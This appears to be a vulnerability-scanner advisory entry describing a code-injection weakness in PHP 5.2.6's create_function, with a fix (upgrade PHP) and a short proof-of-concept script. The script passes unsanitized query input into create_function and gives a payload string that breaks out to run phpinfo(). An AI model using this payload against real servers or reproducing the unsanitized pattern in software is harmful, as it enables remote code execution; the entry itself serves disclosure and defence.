Web Servers : PHP create_function Code Injection Weakness 
Port 80  
Description PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. Note that the anonymous function returned need not be called for the supplied code to be executed.An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.This weakness is reported in PHP 5.2.6; other versions may also be affected.  
How to fix Upgrade to the current version of PHP.  
Risk level High  
Related Links PHP HomePage.
 
CVE CVE-MAP-NOMATCH  
Bugtraq ID 31398  

<?php
# call as test.php?sort_by="]);}phpinfo();/*
$sort_by=stripslashes($_GET[sort_by]);
$databases=array("test");
$sorter = 'var_dump';
$sort_function = ' return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ';


usort($databases, create_function('$a, $b', $sort_function));

?>